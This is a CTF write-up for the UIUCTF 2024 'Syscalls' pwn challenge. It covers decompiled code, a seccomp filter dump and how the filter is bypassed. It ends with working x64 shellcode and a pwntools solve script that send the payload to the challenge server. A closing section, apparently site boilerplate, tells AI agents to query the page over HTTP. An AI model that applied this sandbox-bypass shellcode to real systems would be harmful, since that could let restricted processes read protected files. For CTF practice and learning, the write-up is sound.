# Syscalls (pwn)

{% file src="/files/t073YqQTCvdxPdb4ookr" %}

{% file src="/files/KqhLz6edoE0UxBCPzxbM" %}

The pseudocode Ghidra gives us is as follows (with functions renamed):

```c
void main(void)
{
  long in_FS_OFFSET;
  undefined local_c8 [184];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  setvbuf(stdout,(char *)0x0,2,0);
  setvbuf(stderr,(char *)0x0,2,0);
  setvbuf(stdin,(char *)0x0,2,0);
  intro(local_c8);
  set_seccomp();
  execshellcode(local_c8);
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}
void intro(char *param_1)
{
  puts(
      "The flag is in a file named flag.txt located in the same directory as this binary. That\'s al l the information I can give you."
      );
  fgets(param_1,176,stdin);
  return;
}
int set_seccomp(void)
{
  int iVar1;
  long in_FS_OFFSET;
  undefined2 local_e8 [4];
  undefined8 *local_e0;
  undefined8 local_d8;
  undefined8 local_d0;
  undefined8 local_c8;
  undefined8 local_c0;
  undefined8 local_b8;
  undefined8 local_b0;
  undefined8 local_a8;
  undefined8 local_a0;
  undefined8 local_98;
  undefined8 local_90;
  undefined8 local_88;
  undefined8 local_80;
  undefined8 local_78;
  undefined8 local_70;
  undefined8 local_68;
  undefined8 local_60;
  undefined8 local_58;
  undefined8 local_50;
  undefined8 local_48;
  undefined8 local_40;
  undefined8 local_38;
  undefined8 local_30;
  undefined8 local_28;
  undefined8 local_20;
  undefined8 local_18;
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  local_d8 = 0x400000020;
  local_d0 = 0xc000003e16000015;
  local_c8 = 0x20;
  local_c0 = 0x4000000001000035;
  local_b8 = 0xffffffff13000015;
  local_b0 = 0x120015;
  local_a8 = 0x100110015;
  local_a0 = 0x200100015;
  local_98 = 0x11000f0015;
  local_90 = 0x13000e0015;
  local_88 = 0x28000d0015;
  local_80 = 0x39000c0015;
  local_78 = 0x3b000b0015;
  local_70 = 0x113000a0015;
  local_68 = 0x12700090015;
  local_60 = 0x12800080015;
  local_58 = 0x14200070015;
  local_50 = 0x1405000015;
  local_48 = 0x1400000020;
  local_40 = 0x30025;
  local_38 = 0x3000015;
  local_30 = 0x1000000020;
  local_28 = 0x3e801000025;
  local_20 = 0x7fff000000000006;
  local_18 = 6;
  local_e0 = &local_d8;
  local_e8[0] = 0x19;
                    /* PR_SET_NO_NEW_PRIVS */
  prctl(38,1,0,0,0);
  iVar1 = prctl(22,2,local_e8);
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return iVar1;
}
void execshellcode(code *param_1)
{
  (*param_1)();
  return;
}
```

Firstly, `main()` calls the `intro()` function, which obtains input from stdin and puts it into `local_c8`.&#x20;

Then, in `set_seccomp()`, we see a few `prctl` calls. On investigating the [documentation](https://man7.org/linux/man-pages/man2/prctl.2.html), what `prctl` does depends on its first argument.  The first `prctl` call has `38` as its first argument which represents `PR_SET_NO_NEW_PRIVS` (with reference to [prctl.h](https://github.com/torvalds/linux/blob/master/include/uapi/linux/prctl.h)). This means that `execve` promises not to grant privileges to do anything that could not have been done without the `execve` call (with reference to the [manpage for pr\_set\_no\_new\_privs](https://man7.org/linux/man-pages/man2/pr_set_no_new_privs.2const.html)). The second `prctl` call has a first argument of `22`, which is `PR_SET_SECCOMP`.  Referring to [seccomp.h](https://github.com/torvalds/linux/blob/master/include/uapi/linux/seccomp.h), the second argument is `2` which refers to `SECCOMP_MODE_FILTER`. This means that the third argument, which is `local_e8`, is a pointer to the filter to be applied.&#x20;

To check the seccomp rules which have been applied, we can use the [seccomp-tools](https://github.com/david942j/seccomp-tools). On running `seccomp-tools dump ./syscalls`, we can see the following seccomp rules:

```
line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x16 0xc000003e  if (A != ARCH_X86_64) goto 0024
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
 0004: 0x15 0x00 0x13 0xffffffff  if (A != 0xffffffff) goto 0024
 0005: 0x15 0x12 0x00 0x00000000  if (A == read) goto 0024
 0006: 0x15 0x11 0x00 0x00000001  if (A == write) goto 0024
 0007: 0x15 0x10 0x00 0x00000002  if (A == open) goto 0024
 0008: 0x15 0x0f 0x00 0x00000011  if (A == pread64) goto 0024
 0009: 0x15 0x0e 0x00 0x00000013  if (A == readv) goto 0024
 0010: 0x15 0x0d 0x00 0x00000028  if (A == sendfile) goto 0024
 0011: 0x15 0x0c 0x00 0x00000039  if (A == fork) goto 0024
 0012: 0x15 0x0b 0x00 0x0000003b  if (A == execve) goto 0024
 0013: 0x15 0x0a 0x00 0x00000113  if (A == splice) goto 0024
 0014: 0x15 0x09 0x00 0x00000127  if (A == preadv) goto 0024
 0015: 0x15 0x08 0x00 0x00000128  if (A == pwritev) goto 0024
 0016: 0x15 0x07 0x00 0x00000142  if (A == execveat) goto 0024
 0017: 0x15 0x00 0x05 0x00000014  if (A != writev) goto 0023
 0018: 0x20 0x00 0x00 0x00000014  A = fd >> 32 # writev(fd, vec, vlen)
 0019: 0x25 0x03 0x00 0x00000000  if (A > 0x0) goto 0023
 0020: 0x15 0x00 0x03 0x00000000  if (A != 0x0) goto 0024
 0021: 0x20 0x00 0x00 0x00000010  A = fd # writev(fd, vec, vlen)
 0022: 0x25 0x00 0x01 0x000003e8  if (A <= 0x3e8) goto 0024
 0023: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0024: 0x06 0x00 0x00 0x00000000  return KILL
```

The rules prevent us from using most file i/o related syscalls, but allows us to use `writev` as long as either:

1. The first 32 bits of the file descriptor are greater than 0, or
2. The first 32 bits of the file descriptor = 0, and the file descriptor > `0x3e8`.

After the call to `set_seccomp`, the `execshellcode()` function is invoked. It treats our input, which was stored in `local_c8`, as code and runs it.

This challenge requires us to provide shellcode to read `flag.txt`, given the restrictive seccomp rules. Usually, in order to print a file's contents to `stdout`, we would call `open` with the filename to obtain the file handle, call `read` with its handle to read the contents into a buffer, then call `write` to output the buffer content to the `stdout` file descriptor (which is 1). After a bit of research on the remaining [syscall options](https://x64.syscall.sh/), I was able to find alternatives to these syscalls. Instead of using `open`, we can use `openat`. Instead of using `read`, `pread64`, `readv`or `preadv`, we can use `mmap` to map the file handle's contents into memory. To output to `stdout`, we can use `writev`, but we cannot use `2` as the file descriptor. Hence we have to first use `dup2` to duplicate the `stdout` file descriptor to one that seccomp won't kill, then call `writev` on our new file descriptor.&#x20;

Here's the annotated shellcode I used (written in x64 assembly using intel syntax):

```nasm
mov rax, 33 ; prepare for dup2 syscall
mov rsi, 0x3e9 ; new file descriptor that seccomp approves of
mov rdi, 1 ; stdout file descriptor
syscall

mov rax, 257 ; prepare for openat syscall
mov rdi, -100 ; -100 is a special value for dfd, so our pathname is relative to the current working directory
mov r10, 0x7478 ; "tx"
push r10 ; push last 2 bytes of pathname to stack
mov r10, 0x742e67616c662f2e ; t.galf/.
push r10 ; push first 8 bytes of pathname to stack
mov rsi, rsp ; move address of "./flag.txt" string into rsi
mov rdx, 0 ; flags = 0
mov r10, 0 ; mode = 0
syscall

mov r8, rax ; move fd of flag.txt into r8
mov rax, 9 ; prepare for mmap syscall
mov rdi, 0 ; addr = NULL
mov rsi, 100 ; read 100 bytes from flag.txt
mov rdx, 0x1 ; prot = 1 => PROT_READ, so pages can be read
mov r10, 0x2 ; flags = MAP_PRIVATE
mov r9, 0 ; offset = 0
syscall

mov r10, rax ; move buffer address into r10
mov r9, 100 ; length of buffer 
push r9 ; push iov_len attribute of iovec struct onto stack
push r10 ; push *iov_base of iovec struct onto stack
mov rsi, rsp ; rsi: pointer to an iovec struct
mov rax, 20 ; prepare for writev syscall
mov rdi, 0x3e9 ; fd of our copied stdout
mov rdx, 1 ; number of buffers pointed to, we only have 1
syscall

mov rax, 60 ; exit syscall
syscall
```

With this payload, we can construct the payload using pwntools and send it to the server to retrieve the flag. My solve script is as follows:

```python
from pwn import *
# fill in binary name
elf = context.binary = ELF("./syscalls")
# fill in libc name
libc = ELF("./libc.so.6")

if args.REMOTE:
  # fill in remote address
  p = remote("syscalls.chal.uiuc.tf", 1337, ssl=True)
else:
  p = elf.process(env = {"LD_PRELOAD": libc.path})

# create exploit here
# payload must be at most 176 bytes
# int dup2(int oldfd, int newfd);
# int openat(int dirfd, const char *pathname, int flags, mode_t mode);
# void *mmap(void addr[.length], size_t length, int prot, int flags, int fd, off_t offset);
# ssize_t writev(int fd, const struct iovec *iov, int iovcnt);

print("./flag.txt".encode("utf-8").hex()) # 2e2f666c61672e747874

payload = """
mov rax, 33
mov rsi, 0x3e9
mov rdi, 1
syscall

mov rax, 257
mov rdi, -100
mov r10, 0x7478
push r10
mov r10, 0x742e67616c662f2e
push r10
mov rsi, rsp
mov rdx, 0
mov r10, 0
syscall

mov r8, rax
mov rax, 9 
mov rdi, 0 
mov rsi, 100
mov rdx, 0x1 
mov r10, 0x2 
mov r9, 0 
syscall

mov r10, rax
mov r9, 100
push r9
push r10
mov rsi, rsp
mov rax, 20
mov rdi, 0x3e9
mov rdx, 1
syscall

mov rax, 60
syscall
"""

payload = asm(payload)
print(f"payload length: {len(payload)}")

# pause()
p.sendlineafter(b"you.\n", payload)
info(p.recvall()) # uiuctf{a532aaf9aaed1fa5906de364a1162e0833c57a0246ab9ffc}
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://elijahchia.gitbook.io/ctf-blog/uiuctf-24/syscalls-pwn.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
